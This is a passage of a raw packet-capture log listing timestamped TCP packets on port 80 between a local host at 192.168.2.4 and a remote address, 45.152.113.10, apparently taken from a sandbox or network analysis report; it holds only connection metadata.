Sep 11, 2024 22:52:06.903747082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903774977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903788090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903824091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903834105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903871059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903886080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903923035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903934002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903983116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903990030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904016018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904037952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904047012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904078007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904078007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904103041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904114008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904135942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904146910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904164076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904177904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904206038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904212952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904228926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904244900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904269934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904278040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904298067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904309034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904334068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904340982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904350996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904376984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904400110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904408932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904436111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904439926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904458046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904474974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904494047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904505968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904531002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904537916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904551029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904570103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904602051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904607058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904633045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904639959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904659986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904664993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904695988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904699087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904721022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904726982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904742956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904758930 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904791117 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904792070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904812098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904823065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904839039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904881001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904887915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904920101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904947996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.904953003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.904969931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905009031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905014992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905050993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905071974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905081987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905107975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905116081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905136108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905147076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905172110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905179024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905195951 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905211926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905235052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905242920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905270100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905278921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905306101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905312061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905335903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905344963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905364037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905376911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905404091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905407906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905422926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905440092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905471087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905472040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905504942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905508041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905527115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905536890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905566931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905570984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905584097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905601025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905625105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905633926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905653954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905666113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905689001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905699968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905709982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905726910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.905754089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.905775070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.989934921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990009069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990061045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990082026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990093946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990128040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990153074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990153074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990153074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990179062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990179062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990231991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990238905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990264893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990289927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990298033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990319014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990349054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990355968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990381002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990411997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990412951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990432978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990446091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990473986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990483046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990494967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990516901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990549088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990567923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990573883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990606070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990638971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990643024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990663052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990672112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990691900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990705013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990736961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990751982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990751982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990770102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990792036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990818024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990823984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990850925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990875959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990883112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990915060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990916967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990937948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990947008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.990977049 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.990978956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991014957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991019964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991048098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991055965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991079092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991080046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991100073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991113901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991146088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991146088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991167068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991180897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991203070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991213083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991231918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991245985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991266966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991278887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991309881 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991311073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991328001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991344929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991369009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991377115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991422892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991427898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991444111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991461039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991487026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991493940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991511106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991527081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991561890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.991564989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991588116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.991616011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.033962011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.039057970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.164675951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.164741993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.164793968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.164817095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.164829016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.164877892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.164885044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.164902925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.164917946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.164952040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.164952993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.164985895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.164988995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165014029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165035009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165035963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165067911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165087938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165101051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165119886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165132999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165152073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165165901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165182114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165198088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165220976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165235043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165249109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165266991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165282965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165302038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165313959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165334940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165353060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165369987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165385962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165401936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165417910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165438890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165457010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165488005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165595055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165647984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165740967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165796041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165827990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165882111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165915966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.165970087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.165977955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166009903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166030884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166043043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166069984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166088104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166094065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166126013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166146040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166174889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166183949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166208029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166228056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166240931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166260004 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166273117 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166296959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166306019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166318893 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166354895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166359901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166388035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166409016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166418076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166443110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166450977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166469097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166484118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166505098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166533947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166537046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166582108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166593075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166618109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166635990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166650057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166676044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166682959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166698933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166714907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166735888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166747093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166769028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166779041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166798115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166810989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166832924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166841984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166862011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166874886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166893005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166906118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166928053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166939020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166949987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.166976929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.166991949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167013884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167032003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167045116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167068005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167078018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167103052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167109966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167125940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167145014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167166948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167176962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167196989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167218924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167226076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167258978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167280912 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167290926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167316914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167323112 CEST	80	49733	45.152.113.10	192.168.2.4
